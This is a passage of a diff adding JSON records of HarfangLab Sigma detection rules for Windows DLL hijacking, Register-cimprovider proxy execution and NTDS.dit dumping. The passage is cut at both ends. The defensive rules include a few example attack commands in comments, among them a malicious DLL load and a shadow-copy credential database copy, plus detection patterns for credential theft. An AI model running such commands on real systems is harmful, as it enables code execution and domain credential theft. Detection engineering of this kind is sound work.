+  "rule_description": "Detects potential Windows DLL Hijacking via DSACLS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "06f328a3-6c34-4480-b44a-5ccfa923f899",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081565Z",
+  "creation_date": "2026-03-23T11:45:34.081567Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081571Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gamepanel.yml",
+  "content": "title: DLL Hijacking via gamepanel.exe\nid: 06f328a3-6c34-4480-b44a-5ccfa923f899\ndescription: |\n    Detects potential Windows DLL Hijacking via gamepanel.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'gamepanel.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d2d1.dll'\n            - '\\d3d11.dll'\n            - '\\dcomp.dll'\n            - '\\dwmapi.dll'\n            - '\\DWrite.dll'\n            - '\\dxgi.dll'\n            - '\\msdrm.dll'\n            - '\\uianimation.dll'\n            - '\\UIAutomationCore.DLL'\n            - '\\UxTheme.dll'\n            - '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "06f328a3-6c34-4480-b44a-5ccfa923f899",
+  "rule_name": "DLL Hijacking via gamepanel.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via gamepanel.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "070c26de-9c37-4449-81eb-9d5f6a91c83b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593760Z",
+  "creation_date": "2026-03-23T11:45:34.593764Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593771Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_musnotificationux.yml",
+  "content": "title: DLL Hijacking via musnotificationux.exe\nid: 070c26de-9c37-4449-81eb-9d5f6a91c83b\ndescription: |\n    Detects potential Windows DLL Hijacking via musnotificationux.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'musnotificationux.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\UpdatePolicy.dll'\n            - '\\UPShared.dll'\n            - '\\WINHTTP.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "070c26de-9c37-4449-81eb-9d5f6a91c83b",
+  "rule_name": "DLL Hijacking via musnotificationux.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via musnotificationux.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "072eb6a2-64bf-4b66-86f2-77e8e429ef63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586156Z",
+  "creation_date": "2026-03-23T11:45:34.586174Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586191Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_auditpol.yml",
+  "content": "title: DLL Hijacking via auditpol.exe\nid: 072eb6a2-64bf-4b66-86f2-77e8e429ef63\ndescription: |\n    Detects potential Windows DLL Hijacking via auditpol.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'auditpol.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\auditpolcore.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "072eb6a2-64bf-4b66-86f2-77e8e429ef63",
+  "rule_name": "DLL Hijacking via auditpol.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via auditpol.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "073992cd-3d71-4560-89eb-235eb6cfdf65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086864Z",
+  "creation_date": "2026-03-23T11:45:34.086867Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086881Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/",
+    "https://twitter.com/PhilipTsukerman/status/992021361106268161",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_register_cimprovider.yml",
+  "content": "title: Suspicious Proxy Execution via Register-cimprovider.exe\nid: 073992cd-3d71-4560-89eb-235eb6cfdf65\ndescription: |\n    Detects the use of Register-cimprovider.exe which is used to register new WMI providers to proxy execution of malicious code.\n    This binary, which is digitally signed by Microsoft, can be used to execute malicious DLLs.\n    Attackers may abused it to bypass security restrictions.\n    It is recommended to investigate the parent process for suspicious activities as well as to look for subsequent malicious actions stemming from the Register-CimProvider process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/\n    - https://twitter.com/PhilipTsukerman/status/992021361106268161\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/03/01\nmodified: 2025/06/26\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.RegisterCimProvider\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\Register-cimprovider.exe'\n        - OriginalFileName: 'Register-CimProvider2.exe'\n\n    selection_command:\n        # C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path C:\\AtomicRedTeam\\atomics\\T1218\\src\\Win32\\T1218-2.dll\n        # Register-cimprovider -path \"C:\\folder\\evil.dll\"\n        CommandLine|contains|all:\n          - ' -path '\n          - '.dll'\n\n    exclusion_programfiles:\n        CommandLine|contains:\n            - ' -Path ?:\\Program Files\\'\n            - ' -Path ?:\\Program Files (x86)\\'\n\n    # https://learn.microsoft.com/fr-fr/troubleshoot/mem/configmgr/endpoint-protection/configmgr-console-shows-out-of-date-values\n    exclusion_protectionmanagement:\n        CommandLine|contains|all:\n            - '-ProviderName ProtectionManagement -Namespace root\\Microsoft\\protectionmanagement -Path'\n            - '\\ProtectionManagement.dll'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "073992cd-3d71-4560-89eb-235eb6cfdf65",
+  "rule_name": "Suspicious Proxy Execution via Register-cimprovider.exe",
+  "rule_description": "Detects the use of Register-cimprovider.exe which is used to register new WMI providers to proxy execution of malicious code.\nThis binary, which is digitally signed by Microsoft, can be used to execute malicious DLLs.\nAttackers may abused it to bypass security restrictions.\nIt is recommended to investigate the parent process for suspicious activities as well as to look for subsequent malicious actions stemming from the Register-CimProvider process.\n",
+  "rule_creation_date": "2022-03-01",
+  "rule_modified_date": "2025-06-26",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "074c0895-1c28-4998-833c-644cd8fa5ff0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094771Z",
+  "creation_date": "2026-03-23T11:45:34.094773Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094777Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/003/",
+    "https://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "t1003_003_powershell_ntds_shadow_copy.yml",
+  "content": "title: NTDS Dumped from a Volume Shadow Copy via PowerShell\nid: 074c0895-1c28-4998-833c-644cd8fa5ff0\ndescription: |\n    Detects a copy of the ntds.dit file from a Volume Shadow Copy with PowerShell in interactive mode.\n    Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.\n    It is recommended to investigate the PowerShell command as well as other malicious commands executed on the domain controller to determine legitimacy.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/003/\n    - https://attack.mitre.org/techniques/T1006/\ndate: 2022/05/10\nmodified: 2025/09/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.003\n    - attack.t1078\n    - attack.defense_evasion\n    - attack.t1006\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        # copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\shadowcopy\n        PowershellCommand|contains|all:\n            - 'copy '\n            - 'GLOBALROOT'\n            - 'HarddiskVolumeShadowCopy'\n            - 'ntds.dit'\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "074c0895-1c28-4998-833c-644cd8fa5ff0",
+  "rule_name": "NTDS Dumped from a Volume Shadow Copy via PowerShell",
+  "rule_description": "Detects a copy of the ntds.dit file from a Volume Shadow Copy with PowerShell in interactive mode.\nAdversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.\nIt is recommended to investigate the PowerShell command as well as other malicious commands executed on the domain controller to determine legitimacy.\n",
+  "rule_creation_date": "2022-05-10",
+  "rule_modified_date": "2025-09-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.003",
+    "attack.t1006",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "07c550a4-29ed-429b-8c3a-f6b59266b530",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593517Z",
+  "creation_date": "2026-03-23T11:45:34.593520Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593528Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sppextcomobj.yml",
+  "content": "title: DLL Hijacking via sppextcomobj.exe\nid: 07c550a4-29ed-429b-8c3a-f6b59266b530\ndescription: |\n    Detects potential Windows DLL Hijacking via sppextcomobj.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sppextcomobj.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\adsldpc.dll'\n            - '\\CRYPTBASE.dll'\n            - '\\DNSAPI.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "07c550a4-29ed-429b-8c3a-f6b59266b530",
+  "rule_name": "DLL Hijacking via sppextcomobj.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sppextcomobj.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "07ddc2b1-4842-43eb-92d7-df872335fcf9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098449Z",
+  "creation_date": "2026-03-23T11:45:34.098451Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098455Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_adobe_licensing.yml",
+  "content": "title: DLL Hijacking via adobe_licensing_wf_helper.exe\nid: 07ddc2b1-4842-43eb-92d7-df872335fcf9\ndescription: |\n    Detects potential Windows DLL Hijacking via Visual Studio adobe_licensing_wf_helper.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate signed executable to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/12/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'adobe_licensing_wf_helper.exe'\n        ProcessSignature: 'Adobe Inc.'\n        ImageLoaded|endswith: '\\libcef.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Common Files\\Adobe\\'\n            - '?:\\Program Files (x86)\\Adobe\\'\n            - '?:\\Program Files\\Adobe\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Common Files\\Adobe\\'\n            - '?:\\Program Files (x86)\\Adobe\\'\n            - '?:\\Program Files\\Adobe\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - 